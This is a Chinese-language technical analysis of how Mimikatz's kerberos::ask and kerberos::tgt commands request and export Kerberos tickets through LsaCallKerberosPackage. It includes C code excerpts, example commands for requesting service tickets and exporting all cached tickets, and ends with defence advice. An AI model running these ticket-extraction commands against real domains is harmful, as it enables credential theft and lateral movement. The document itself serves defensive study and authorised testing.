Mimikatz Explorer - Kerberos Ask
字数 1972 2025-08-06 12:21:02
Mimikatz Kerberos 票据操作深度解析
1. Kerberos 票据基础概念
Kerberos 协议中有两种主要票据类型:
- TGT (Ticket Granting Ticket):票据授予票据,由KDC的AS服务颁发
- ST (Service Ticket):服务票据,由KDC的TGS服务颁发
Mimikatz 提供了操作这两种票据的核心功能:
kerberos::ask- 请求新的服务票据kerberos::tgt- 检索当前会话的TGT票据
2. KERB_RETRIEVE_TKT_REQUEST 结构详解
这是请求Kerberos票据的核心数据结构:
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
UNICODE_STRING TargetName;
ULONG TicketFlags;
ULONG CacheOptions;
LONG EncryptionType;
SecHandle CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
关键字段说明:
2.1 MessageType
决定请求类型:
KerbRetrieveEncodedTicketMessage:请求服务票据KerbRetrieveTicketMessage:请求TGT票据
2.2 CacheOptions
控制票据缓存行为的重要标志:
| 标志值 | 含义 |
|---|---|
| KERB_RETRIEVE_TICKET_DONT_USE_CACHE (1) | 始终请求新票据,不搜索缓存 |
| KERB_RETRIEVE_TICKET_USE_CREDHANDLE (4) | 使用CredentialsHandle而非LogonId |
| KERB_RETRIEVE_TICKET_USE_CACHE_ONLY (2) | 仅返回缓存的票据 |
| KERB_RETRIEVE_TICKET_AS_KERB_CRED (8) | 以KERB_CRED格式返回票据 |
| KERB_RETRIEVE_TICKET_CACHE_TICKET (20) | 优先使用缓存,没有则请求并缓存 |
| KERB_RETRIEVE_TICKET_MAX_LIFETIME (40) | 请求策略允许的最长有效期票据 |
2.3 EncryptionType
指定票据加密算法:
KERB_ETYPE_RC4_HMAC_NT:RC4加密KERB_ETYPE_DES3_CBC_MD5:3DES加密KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:AES256加密KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:AES128加密
3. kerberos::ask 功能实现
3.1 核心流程
- 解析命令行参数(目标SPN、加密类型等)
- 构建KERB_RETRIEVE_TKT_REQUEST结构
- 调用
LsaCallKerberosPackage发送请求 - 处理返回的票据数据
3.2 关键代码分析
// 构建请求结构
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData);
// 设置请求参数
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = isNoCache ? KERB_RETRIEVE_TICKET_DONT_USE_CACHE : KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest->EncryptionType = ...; // 根据参数设置加密类型
// 设置目标SPN
pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);
// 发送请求
status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
3.3 票据导出功能
当使用/export参数时,会额外执行以下操作:
- 设置
KERB_RETRIEVE_TICKET_AS_KERB_CRED标志 - 再次调用
LsaCallKerberosPackage获取票据 - 将票据写入文件或输出Base64编码
if(isExport) {
pKerbRetrieveRequest->CacheOptions |= KERB_RETRIEVE_TICKET_AS_KERB_CRED;
status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
if(NT_SUCCESS(status) && NT_SUCCESS(packageStatus)) {
kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket,
pKerbRetrieveResponse->Ticket.EncodedTicketSize);
}
}
4. kerberos::tgt 功能实现
4.1 核心流程
- 构建请求结构(MessageType=KerbRetrieveTicketMessage)
- 调用
LsaCallKerberosPackage发送请求 - 处理返回的TGT票据数据
4.2 关键代码分析
KERB_RETRIEVE_TKT_REQUEST kerbRetrieveRequest = {
KerbRetrieveTicketMessage,
{0, 0},
{0, 0, NULL},
0,
0,
KERB_ETYPE_NULL,
{0, 0}
};
status = LsaCallKerberosPackage(&kerbRetrieveRequest, sizeof(KERB_RETRIEVE_TKT_REQUEST),
(PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
if(NT_SUCCESS(status) && NT_SUCCESS(packageStatus)) {
// 处理返回的TGT票据数据
kiwiTicket.ServiceName = pKerbRetrieveResponse->Ticket.ServiceName;
kiwiTicket.TargetName = pKerbRetrieveResponse->Ticket.TargetName;
// ...其他字段赋值
}
5. KERB_RETRIEVE_TKT_RESPONSE 结构解析
响应结构包含完整的票据信息:
typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
KERB_EXTERNAL_TICKET Ticket;
} KERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE_TKT_RESPONSE;
其中KERB_EXTERNAL_TICKET包含票据详细信息:
typedef struct _KERB_EXTERNAL_TICKET {
PKERB_EXTERNAL_NAME ServiceName;
PKERB_EXTERNAL_NAME TargetName;
PKERB_EXTERNAL_NAME ClientName;
UNICODE_STRING DomainName;
UNICODE_STRING TargetDomainName;
UNICODE_STRING AltTargetDomainName;
KERB_CRYPTO_KEY SessionKey;
ULONG TicketFlags;
ULONG Flags;
LARGE_INTEGER KeyExpirationTime;
LARGE_INTEGER StartTime;
LARGE_INTEGER EndTime;
LARGE_INTEGER RenewUntil;
LARGE_INTEGER TimeSkew;
ULONG EncodedTicketSize;
PUCHAR EncodedTicket;
} KERB_EXTERNAL_TICKET, *PKERB_EXTERNAL_TICKET;
关键字段:
EncodedTicket:ASN.1编码的票据二进制数据SessionKey:会话密钥- 时间相关字段:
StartTime、EndTime、RenewUntil等
6. 实际应用示例
6.1 请求LDAP服务票据
mimikatz.exe "kerberos::ask /target:ldap/dc01.pentest.com"
6.2 导出所有缓存的票据
mimikatz.exe "kerberos::list /export"
6.3 获取当前会话的TGT
mimikatz.exe "kerberos::tgt"
7. 安全注意事项
-
Session Key警告:如果返回的会话密钥为NULL,表示系统未设置
allowtgtsessionkey=1if(isNull) { kprintf(L"\n\n\t** Session key is NULL! It means allowtgtsessionkey is not set to 1 **\n"); } -
票据缓存:默认情况下新票据会自动缓存,使用
/nocache参数可避免 -
加密类型:不同加密类型的安全强度不同,建议使用AES256
8. 防御建议
- 限制对LSASS进程的访问
- 启用Credential Guard
- 监控异常的Kerberos票据请求
- 定期轮换KRBTGT账户密码
- 限制域管理员账户的使用范围
通过深入理解Mimikatz的Kerberos票据操作机制,可以更好地防御相关攻击,并有效进行红队演练和渗透测试。